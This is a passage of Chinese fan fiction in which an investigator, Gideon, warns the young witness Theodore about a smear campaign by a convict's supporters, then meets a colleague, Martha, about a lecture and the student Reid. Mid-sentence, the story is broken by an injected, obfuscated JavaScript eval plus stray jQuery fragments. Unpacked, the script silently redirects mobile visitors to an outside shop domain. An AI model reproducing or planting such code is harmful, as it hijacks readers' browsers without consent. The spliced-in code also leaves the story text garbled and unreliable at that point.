“叙事？”
狄奥多心下有了不祥的预感。他想到那封信上荒谬而扭曲的文字。
“一个被媒体和公众审判的‘可怜人’的叙事。”基甸的语气也难掩那丝厌恶，“他们需要一个人来扮演‘迫害者’的角色。你在初审的时候是最关键的证人，你是唯一一个在案发现场全程保持清醒的人。你的证词把他送进了无期徒刑的地狱。所以他们需要一个故事，说你是出于创伤后的报复心理夸大了事实，说你的证词不可信……”
基甸的语气甚至带上了一丝犹豫：“说你对布歇尔的揭发完全是言过其实的攻击。”
但他最后还是决定把外界正在发生的一切告诉这个过分坚韧的孩子。
狄奥多握着手机的手没有抖，但他的呼吸变重了。
“他们在编造。”基甸说，“编得很拙劣，但有人信。那些支持者是真的相信布歇尔是无辜的。那封信不是律师写的，是个被煽动起来的普通人写的。律师不会蠢到留下那种证据。”
“所以呢？”狄奥多问，“我就当作没收到这封信？当作什么都没发生？”
“不。”基甸的语气严肃起来，“你把信交给校警，校警会转到我们这里。我们要把这个记录下来，因为如果后续有更多的骚扰，我们可以申请人身保护令。但是——”
基甸的声音又放轻了，“狄奥多，你现在不能公开回应这件事。你不能接受采访，不能在网上发任何东西，不能在公开场合谈论布歇尔的案子。你回应了，就等于给他们提供了弹药。他们会把你的每一句话剪裁、拼接、扭曲，然后说‘看，这个证人在利用媒体影响舆论’。”
“所以我只能闭嘴。”
“只是暂时。”基甸立刻纠正，“等上诉程序正式启动，丹顿律师会来处理这些。你现在要做的，是继续上课，继续考试，继续你该做的一切。不要让布歇尔从你这里再拿走任何东西。”
狄奥多闭上眼睛。眼前浮现的不是布歇尔的脸，是徒步社在塞伦镇上合影时，科尼让他站在赫莲娜旁边时，大家的笑脸。他还记得那时科尼是怕他挡住“journey"的“ney”，让大家变成法国人。确实很好笑。
“基甸，”他睁开眼，声音很低，“即便我知道这是你心中正确的选择，我也很难接受。”
电话那头沉默了很久。
“我知道。”基甸的声音有点涩，“但正因如此，我们才不可能让现在的你去和布歇尔明面对抗、让当时未成年的你再出现在公众前。那对你更可能造成伤害，而不会有助于打击布歇尔。布歇尔就是想看到幸存者被他毁了正常的生活。你在初审时保护好了丹尼尔和凯伦，现在该我们保护你了。”
狄奥多张了张嘴，想说点什么，但又咽了回去。
他想说“你们保护不了赫莲娜”。但那太不公平了。赫莲娜被判刑不是基甸的错。
他想说“我不需要保护，我需要那个混蛋永远出不来”。但基甸已经说了，上诉程序的启动不会因为他的愤怒而改变。
他开始觉得胸口堵着什么，很沉，很闷，像溺水的人在往下沉的时候抓不到任何东西。
“狄奥多？”基甸在电话那头喊他。
“我在。”狄奥多深吸一口气，只有这样他才不会感到窒息。
“明天下午我去找你。我们当面谈。”
“……好。”
狄奥多挂了电话，把手机放在桌上。手机屏幕朝下，像一扇不再被打开的门。
房间里重新安静下来。窗外起了风，山毛榉的叶子在路灯下晃，影子在桌上一颤一颤的。狄奥多坐在椅子上一动不动，看着那晃动的影子。
他想到了凯伦。想到她康复出院的时候，所有来看望她的人都在笑；只有她没有笑，只是回头看了一下窗外，像在确认自己还在不在人世间。
他想到了丹尼尔。想到他在医院病床上的一年多时间里由健壮变得无比消瘦的身体。他在医院里第一次重新站起来的时候，护士和医生都在鼓掌。
他想到科尼，他曾经是一个那么好的社长，细心地照顾着每一个徒步旅行社的成员。想到科尼的妈妈在法庭上哭，哭声很大，像某种动物的嚎叫，法官敲了两次法槌才让她安静下来。
然后他想到自己。想到在那个阴暗潮湿的山洞里，布歇尔审视他的眼神。想到今天，布歇尔甚至不用亲自动手，就有人替他把刀递过来了。
狄奥多把那张信封从桌角拿过来，翻到正面，看着上面歪歪扭扭的字迹。
“狄奥多·克罗夫特收。”
狄奥多把它放进了抽屉里，关好。
他的脑子太乱了。他决定先睡一觉再带着它去找校警。
然后金发青年站起来，把窗户关上，拉上窗帘，脱掉外套，躺到床上，闭上眼睛。他听着窗外的风声，和远处偶尔传来的汽车引擎声，慢慢失去了意识。
狄奥多不知道自己是什么时候睡着的。只知道被手机震动吵醒的时候，灯还亮着，舍友还没回来，窗外已经全黑了。他拿起来看，是赤井秀一发来的消息：
“明天两点。图书馆，三楼。别忘了？”
狄奥多盯着屏幕看了几秒，脸上疲惫的表情中多了几丝暖意。他回复了个符号表情：“;)”
发出去之后，他又看了一遍。然后关了灯，把手机放在枕头边，在黑暗中睁着眼睛。
过了很久，他翻了个身，把被子拉到下巴，闭上了眼睛。
---
基甸挂断电话的时候，办公室里还残留着狄奥多声音里那种克制的、却掩不住怒意的尾音。
他把手机放在桌上，靠进椅背，食指和拇指捏了捏鼻梁。窗外是纽约傍晚的天空，灰蓝色的，有几道飞机拉出的白线，正慢慢散开。楼下学生的喧闹逐渐传开，看来是什么聚会或者演讲正巧散场了。
基甸揉了揉眉心，不得不疲惫地承认：
狄奥多说得对。应该有人告
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506679|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
诉他布歇尔这段时间都干了什么。
但告诉他又能怎样呢？
基甸睁开眼睛，盯着天花板上一块小小的水渍，形状像伊利诺伊州。他十六岁的时候在做什么？十八岁呢？那时候芝加哥的一切都欣欣向荣，他可以花费大把无意义的时间在球场打球，在追女孩，在跟父母顶嘴。但绝没有一种可能是坐在律师办公室里，听一个成年人说“你要有被揭开伤口的心理准备”，甚至收到一张荒谬绝伦的恐吓信。
门被敲了两下，然后直接开了。
玛莎·格兰特推门进来，左臂夹着一沓文件，另一只手端着一杯看起来加了至少两杯牛奶的拿铁咖啡。她穿着深灰色的西装外套，里面是一件墨绿色的长袖衫，让人很容易就能看出她穿衣更追求舒适度；头发盘在脑后，有几缕碎发落在耳边。她看起来和四年前在马里兰大学共事时没什么变化——只是眼角的纹路深了一点，笑起来的时候更明显一些。
“抱歉让你久等了。”
玛莎走到办公桌旁顺手放下文件和咖啡，拉开自己的台灯。这时她才看清基甸坐在自己办公桌前的样子，尤其是那纠结的表情，不由得愣了一下。
“你还好吗？”
“没事。”基甸放下手，坐直了些，“怎么了？”
玛莎拉开了自己的办公椅坐下。
“下周有个大课，想请你来做个拓展讲座。”她端起咖啡喝了一口，目光越过杯沿看着基甸，“你之前答应过我的，不会忘了吧？”
基甸想起来了。上个月他跟玛莎通话时，玛莎跟他提过，说犯罪心理学的课上想请一线探员来讲讲实务，他当时答应了，但具体时间一直没敲定。
“没忘。”他说，“什么时候？”
“下周二下午。三点到六点。”玛莎从文件里抽出一张纸推过来，“这是课程大纲，你看看从哪个角度切入比较合适。主要是案例分析，学生们都喜欢听真实的，也正好历练历练他们。”
基甸接过纸，扫了一眼。拟定的课程名称是“犯罪心理学的实务应用”，下面列了几个案例，都是经典的老案子，玛莎特地还列了两个他经手过的案子。基甸看完点了点头：“可以。我准备一下。”
玛莎就也点点头，然后才提起基甸在这里等她半个小时所为的那件事：
“对了，”玛莎换了个语气，身体往前倾了一点，手肘撑在桌面上，“你之前给我打电话说的那个学生，瑞德。我跟他聊过了。”
如果不是基甸要拜托她帮忙带带瑞德，她也没那么轻松就能把这个大忙人请来给自己作讲座。
基甸的眉毛抬了一下：“怎么样？”
玛莎总觉得基甸的语气中颇有两分自得。不过如果是面对瑞德这样的人才，也很难有人能忍住不炫耀吧。
“非常聪明。聪明得让人有点——不知道该怎么形容。”玛莎想了想，用了一个词，“他很锐利。他的脑子像一把刚开刃的刀，切什么都很快。但是……”